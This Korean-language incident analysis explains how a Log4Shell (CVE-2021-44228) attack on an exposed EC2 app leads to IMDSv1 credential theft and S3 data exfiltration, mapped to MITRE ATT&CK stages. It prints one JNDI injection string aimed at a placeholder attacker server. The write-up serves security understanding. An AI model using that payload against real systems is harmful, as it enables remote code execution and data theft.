CVE-2021-44228 기반 Log4Shell RCE 및 IMDSv1 취약점을 이용한 AWS EC2 기반 S3 기밀 데이터 유출 침해사고

간단한 사전 지식

CVE-2021-44228은 흔히 Log4Shell 이라고 불리는, 2021년 12월에 공개된 Apache Log4j 2 라이브러리의 심각한 원격 코드 실행(RCE) 취약점이다.

Log4j는 로그 메시지를 기록할 때 ${} 형태의 문자열을 특수하게 해석하는 “Lookup” 기능을 지원한다. 이 중 ${jndi:…} 구문을 만나면 JNDI를 통해 외부 서버(LDAP, RMI 등)에 접속해 데이터를 가져오도록 설계되어 있다. 공격자는 로그로 기록될 만한 입력 값에 다음과 같은 문자열을 삽입한다.

${jndi:ldap://공격자서버.com/악성클래스}

애플리케이션이 이 문자열을 로그로 남기는 순간, Log4j가 이를 파싱해 공격자가 지정한 서버로 접속하고, 그 서버가 반환 되는 자바 클래스를 로드하고 실행하게 된다. 결과적으로 공격자는 대상 서버에서 임의 코드를 실행할 수 있다.

개요

외부 공격자는 포트 스캐닝을 통해 동작 중인 EC2 인스턴스의 퍼블릭 IP를 식별하고 8080 포트가 열려있는 것을 확인했다. 이를 기반으로 포트에 노출된 애플리케이션의 Log4Shell(CVE-2021-44228) 취약점을 이용해 RCE 취약점을 사용해 침투하고, EC2 내 IMDSv1 를 악용해 IAM 임시 자격증명을 탈취한 뒤 S3 버킷에 저장된 민감 데이터를 외부로 유출하였다.

공격 대상

AWS IAM, EC2, S3 Bucket

MITRE ATT&CK Matrix 매핑

1. Reconnaissance (정찰)

• 기법 ID: T1595.002
• 기술명: Vulnerability Scanning (취약점 스캐닝)
• 내용: Shodan 또는 Masscan 등의 도구를 활용해 퍼블릭 IP 대역을 스캔하고, 8080 포트가 개방된 취약 EC2 인스턴스를 식별하는 단계이다.

1. Initial Access (초기 침투)

• 기법 ID: T1190
• 기술명: Exploit Public-Facing Application (외부 노출 애플리케이션 악용)
• 내용: 외부로 노출된 Spring Boot 웹 애플리케이션의 Log4j2 JNDI Lookup 취약점(CVE-2021-44228)을 악용하여 악성 페이로드를 주입하는 단계이다.